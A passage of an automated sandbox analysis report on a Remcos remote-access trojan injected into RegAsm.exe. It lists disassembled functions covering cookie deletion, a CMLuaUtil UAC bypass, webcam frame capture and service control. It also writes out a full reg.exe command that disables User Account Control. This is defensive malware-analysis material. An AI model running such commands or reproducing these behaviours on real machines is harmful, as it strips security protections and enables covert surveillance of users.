                          • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                          • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                          • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                        • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BF6B
                        • PathFileExistsA.SHLWAPI(?), ref: 0040BF78
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                        • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                        • API String ID: 1133728706-4073444585
                        • Opcode ID: c4bf94da8be876f49cea7471f0be2422906d591350fd81deebf31ce2b361b3bc
                        • Instruction ID: 11f9a5ab4d81baf10890d677fe2d2a0774849eb970c5828eb217b404dd8a17fe
                        • Opcode Fuzzy Hash: c4bf94da8be876f49cea7471f0be2422906d591350fd81deebf31ce2b361b3bc
                        • Instruction Fuzzy Hash: 38215271A4021AA6CB04F7B2CC569EE77699F10704F40017FE506B71D2EF7899498ADE
                        Function 00456B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 0d17155dc6db7c30058fdf5bf10590413c3ccf5281d5a9a865ac9745ee25c2fc
                        • Instruction ID: 6cb1fb7365923ae9cd4386fa22a0d7cc2d4bdc50975796c61f51bb0de8f74700
                        • Opcode Fuzzy Hash: 0d17155dc6db7c30058fdf5bf10590413c3ccf5281d5a9a865ac9745ee25c2fc
                        • Instruction Fuzzy Hash: B9110272504214BAEB216F728C0496F3AACEF85326B52422BFD11C7252DE38CC41CAA8
                        Function 00450EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00450C41: _free.LIBCMT ref: 00450C6A
                        • _free.LIBCMT ref: 00450F48
                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                        • _free.LIBCMT ref: 00450F53
                        • _free.LIBCMT ref: 00450F5E
                        • _free.LIBCMT ref: 00450FB2
                        • _free.LIBCMT ref: 00450FBD
                        • _free.LIBCMT ref: 00450FC8
                        • _free.LIBCMT ref: 00450FD3
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$ErrorFreeHeapLast
                        • String ID:
                        • API String ID: 776569668-0
                        • Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                        • Instruction ID: d9348172fd0740f80504453a64c2ebf0df3e8af845a5f6206b1ac0666941ab15
                        • Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                        • Instruction Fuzzy Hash: B411A231540B04AAD625BB72CC47FCB779CAF0230BF44491EBEED66053D6ACB9085745
                        Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                        Download Yara Rule
                        APIs
                        • std::_Lockit::_Lockit.LIBCPMT ref: 00411170
                        • int.LIBCPMT ref: 00411183
                          • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                          • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                        • std::_Facet_Register.LIBCPMT ref: 004111C3
                        • std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
                        • __CxxThrowException@8.LIBVCRUNTIME ref: 004111EA
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                        • String ID: (mG
                        • API String ID: 2536120697-4059303827
                        • Opcode ID: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                        • Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
                        • Opcode Fuzzy Hash: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                        • Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9
                        Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
                        • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
                        • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
                        • SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLastValue___vcrt_
                        • String ID:
                        • API String ID: 3852720340-0
                        • Opcode ID: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                        • Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
                        • Opcode Fuzzy Hash: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                        • Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D
                        Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                        Download Yara Rule
                        APIs
                        • CoInitializeEx.OLE32(00000000,00000002), ref: 004075D0
                          • Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
                          • Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                        • CoUninitialize.OLE32 ref: 00407629
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: InitializeObjectUninitialize_wcslen
                        • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                        • API String ID: 3851391207-1839356972
                        • Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                        • Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
                        • Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                        • Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB
                        Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                        Download Yara Rule
                        APIs
                        • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
                        • GetLastError.KERNEL32 ref: 0040BAE7
                        Strings
                        • [Chrome Cookies not found], xrefs: 0040BB01
                        • [Chrome Cookies found, cleared!], xrefs: 0040BB0D
                        • UserProfile, xrefs: 0040BAAD
                        • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: DeleteErrorFileLast
                        • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                        • API String ID: 2018770650-304995407
                        • Opcode ID: 1760e3e0d40a85f21b6d805f5d6a4de2d8cd9e2060f798d2c7163d0a527507e4
                        • Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
                        • Opcode Fuzzy Hash: 1760e3e0d40a85f21b6d805f5d6a4de2d8cd9e2060f798d2c7163d0a527507e4
                        • Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE
                        Function 0041CD9B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 48memoryCOMMON
                        Download Yara Rule
                        APIs
                        • AllocConsole.KERNEL32 ref: 0041CDA4
                        • ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                        • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Console$AllocOutputShowWindow
                        • String ID: Remcos v$5.0.0 Pro$CONOUT$
                        • API String ID: 2425139147-2278869229
                        • Opcode ID: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                        • Instruction ID: 3d4e39fb732e2b6cb40f789e287104da8d9afdf675614735db993d10cd8ea689
                        • Opcode Fuzzy Hash: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                        • Instruction Fuzzy Hash: CD0188719803087AD610F7F1DC8BF9D776C5B14705F6004277604A70D3E7BD9954466E
                        Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                        Download Yara Rule
                        APIs
                        • __allrem.LIBCMT ref: 0043AC69
                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
                        • __allrem.LIBCMT ref: 0043AC9C
                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
                        • __allrem.LIBCMT ref: 0043ACD1
                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                        • String ID:
                        • API String ID: 1992179935-0
                        • Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                        • Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
                        • Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                        • Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A
                        Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                        Download Yara Rule
                        APIs
                        • Sleep.KERNEL32(00000000,0040D262), ref: 004044C4
                          • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: H_prologSleep
                        • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                        • API String ID: 3469354165-3054508432
                        • Opcode ID: cda6b0fbff319c628721655c4fa246e2f3a2f768a0df06d81a35272adc1baa10
                        • Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
                        • Opcode Fuzzy Hash: cda6b0fbff319c628721655c4fa246e2f3a2f768a0df06d81a35272adc1baa10
                        • Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E
                        Function 00411CFE Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 0041179C: SetLastError.KERNEL32(0000000D,00411D1C,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 004117A2
                        • SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411D37
                        • GetNativeSystemInfo.KERNEL32(?), ref: 00411DA5
                        • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 00411DC9
                          • Part of subcall function 00411CA3: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411DE7,?,00000000,00003000,00000040,00000000,?,?), ref: 00411CB3
                        • GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 00411E10
                        • HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 00411E17
                        • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411F2A
                          • Part of subcall function 00412077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37,?,?,?,?,?), ref: 004120E7
                          • Part of subcall function 00412077: HeapFree.KERNEL32(00000000), ref: 004120EE
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                        • String ID:
                        • API String ID: 3950776272-0
                        • Opcode ID: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                        • Instruction ID: a5564978de1508fcfe39aaa31f5973b4ee53e0220ffe5d2cf9b9f7f7cc9a58c7
                        • Opcode Fuzzy Hash: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                        • Instruction Fuzzy Hash: B661E370601201ABC7109F66C980BAB7BA5BF44744F04411BFA058B7A2E7BCE8D2CBD9
                        Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: __cftoe
                        • String ID:
                        • API String ID: 4189289331-0
                        • Opcode ID: eef5811f0b3e11eaf1bdde4175ac7a9ebfa2f3cd5d18ba66a6432d1456243127
                        • Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
                        • Opcode Fuzzy Hash: eef5811f0b3e11eaf1bdde4175ac7a9ebfa2f3cd5d18ba66a6432d1456243127
                        • Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C
                        Function 0041AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                        Download Yara Rule
                        APIs
                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041AC88
                        • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A38E,00000000), ref: 0041AC9C
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACA9
                        • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041ACDE
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF0
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF3
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Service$CloseHandle$Open$ChangeConfigManager
                        • String ID:
                        • API String ID: 493672254-0
                        • Opcode ID: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                        • Instruction ID: ed0bae8235b77a8e2b5b4951a925fd67a34dfbd091713fce30693036f81a5133
                        • Opcode Fuzzy Hash: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                        • Instruction Fuzzy Hash: 84014E311452147BD6110B385C4DEFB3B5CDB42771F100317F925922D1EA68CD45B5EE
                        Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • _free.LIBCMT ref: 0044824C
                        • _free.LIBCMT ref: 00448274
                        • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                        • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • _abort.LIBCMT ref: 00448293
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLast$_free$_abort
                        • String ID:
                        • API String ID: 3160817290-0
                        • Opcode ID: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                        • Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
                        • Opcode Fuzzy Hash: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                        • Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD
                        Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                        Download Yara Rule
                        APIs
                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
                        • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
                        • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Service$CloseHandle$Open$ControlManager
                        • String ID:
                        • API String ID: 221034970-0
                        • Opcode ID: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                        • Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
                        • Opcode Fuzzy Hash: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                        • Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9
                        Function 0041ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                        Download Yara Rule
                        APIs
                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABB9
                        • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABCD
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABDA
                        • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABE9
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFB
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFE
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Service$CloseHandle$Open$ControlManager
                        • String ID:
                        • API String ID: 221034970-0
                        • Opcode ID: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                        • Instruction ID: cdcae22f94af1ce7d279f83afe572816001e75aa845eac4345c2c81124f82824
                        • Opcode Fuzzy Hash: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                        • Instruction Fuzzy Hash: 84F0C231501218ABD6116F259C49DFF3B6CDB45B62F40002AFE0996192EB38DD4595F9
                        Function 0041AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                        Download Yara Rule
                        APIs
                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC20
                        • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC34
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC41
                        • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC50
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC62
                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC65
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Service$CloseHandle$Open$ControlManager
                        • String ID:
                        • API String ID: 221034970-0
                        • Opcode ID: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                        • Instruction ID: 1af6be829003de2eeb85b71d4b0cbdb2c911632148e7083bdbbda8586ff13133
                        • Opcode Fuzzy Hash: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                        • Instruction Fuzzy Hash: 2FF0F631501228BBD711AF25EC49DFF3B6CDB45B62F00002AFE0992192EB38CD4595F9
                        Function 00443435 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116COMMON
                        Download Yara Rule
                        APIs
                        • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 00443475
                        • _free.LIBCMT ref: 00443540
                        • _free.LIBCMT ref: 0044354A
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$FileModuleName
                        • String ID: 82L$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        • API String ID: 2506810119-2646671774
                        • Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                        • Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
                        • Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                        • Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98
                        Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ClassCreateErrorLastRegisterWindow
                        • String ID: 0$MsgWindowClass
                        • API String ID: 2877667751-2410386613
                        • Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                        • Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
                        • Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                        • Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4
                        Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                        Download Yara Rule
                        APIs
                        • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
                        • CloseHandle.KERNEL32(?), ref: 004077AA
                        • CloseHandle.KERNEL32(?), ref: 004077AF
                        Strings
                        • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
                        • C:\Windows\System32\cmd.exe, xrefs: 00407796
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseHandle$CreateProcess
                        • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                        • API String ID: 2922976086-4183131282
                        • Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                        • Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
                        • Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                        • Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9
                        Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                        Download Yara Rule
                        Strings
                        • SG, xrefs: 004076DA
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 004076C4
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
